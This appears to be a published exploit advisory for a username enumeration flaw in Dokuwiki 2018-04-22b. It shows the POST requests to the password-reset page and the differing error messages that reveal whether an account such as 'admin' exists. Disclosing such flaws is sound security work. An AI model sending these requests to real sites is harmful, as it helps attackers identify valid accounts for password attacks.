Dokuwiki version 2018-04-22b suffers from a username enumeration vulnerability.

MD5 | e7533fa839fdd496e040a3329ea00401

# Exploit Title: Dokuwiki 2018-04-22b - Username Enumeration
# Date: 2019-12-01
# Exploit Author: Talha ŞEN
# Vendor Homepage: https://www.dokuwiki.org/dokuwiki
# Software Link: https://download.dokuwiki.org/
# Version: 2018-04-22b "Greebo"
# Tested on:
# Alpine Linux 3.5 (docker image)
# PHP 5.6.30
# Apache/2.4.25 (Unix)
# CVE :

# At login page there is a "set new password" page as below:
# Forgotten your password? Get a new one: Set new password
# At this page there is username enumeration vulnerability.
# Testing for non-valid user:

POST /doku.php?id=start&do=resendpwd HTTP/1.1

sectok=&do=resendpwd&save=1&login=sss

# Response for non-valid user(sss):

Sorry, we can't find this user in our database.


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# Testing for valid user:

POST /doku.php?id=start&do=resendpwd HTTP/1.1

sectok=&do=resendpwd&save=1&login=admin

# Response for valid user (admin):

There was an unexpected problem communicating with SMTP: Could not open SMTP Port.

Looks like there was an error on sending the password mail. Please contact the admin!

Source